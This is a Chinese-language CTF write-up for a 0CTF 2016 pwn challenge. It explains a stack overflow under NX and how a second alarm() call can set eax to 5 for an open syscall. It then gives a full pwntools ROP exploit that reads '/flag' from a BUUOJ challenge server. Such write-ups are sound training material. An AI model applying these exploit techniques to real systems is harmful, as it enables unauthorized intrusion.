首先,检查一下程序的保护机制
然后,我们用IDA分析一下
漏洞很简单,存在一个栈溢出漏洞。难点就在于NX保护开启,不然我们可以布置shellcode。这个程序不依靠glibc,并且栈溢出尺寸太小,并且gadgets少的可怜。几乎不能造出execve的系统调用。查看程序,发现已经有read、write可以使用,如果我们再整出个open系统调用,就能读取文件了。由于栈溢出尺寸太小,因此要想使得eax的值为5,并且能同时调用syscall,不能完成。**[突破点就在于alarm函数了。alarm函数有一个特性,如果多次调用alarm,那么alarm就会返回前一个alarm开始到现在,还剩下多长时间。]{.mark}**比如,第一次alarm(10),然后过来2s,我们又调用alarm(1234),那么第二次的alarm返回值eax为10s-2s=8s。
程序中alarm(0xA),因此,我们只需要休眠5s,然后再调用一次alarm,就可以使得eax的值为5,从而构造open系统调用。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29
| from pwn import *
sh = remote('node3.buuoj.cn',26614) vuln_addr = 0x0804815A read_addr = 0x0804811D write_addr = 0x08048135 data = 0x080491BC syscall = 0x0804813A alarm_addr = 0x804810d
payload = 'a'*0x20 + p32(read_addr) + p32(vuln_addr) + p32(0) + p32(data) + p32(0x10) sh.sendafter('Welcome to 0CTF 2016!',payload) sh.sendafter('Good Luck!','/flag'.ljust(0x10,'\x00'))
sleep(5) payload = 'a'*0x20 + p32(alarm_addr) + p32(syscall) + p32(vuln_addr) + p32(data) + p32(0) sh.send(payload)
payload = 'a'*0x20 + p32(read_addr) + p32(vuln_addr) + p32(3) + p32(data) + p32(0x30) sh.sendafter('Good Luck!',payload)
payload = 'a'*0x20 + p32(write_addr) + p32(0) + p32(1) + p32(data) + p32(0x30) sh.sendafter('Good Luck!',payload)
sh.interactive()
|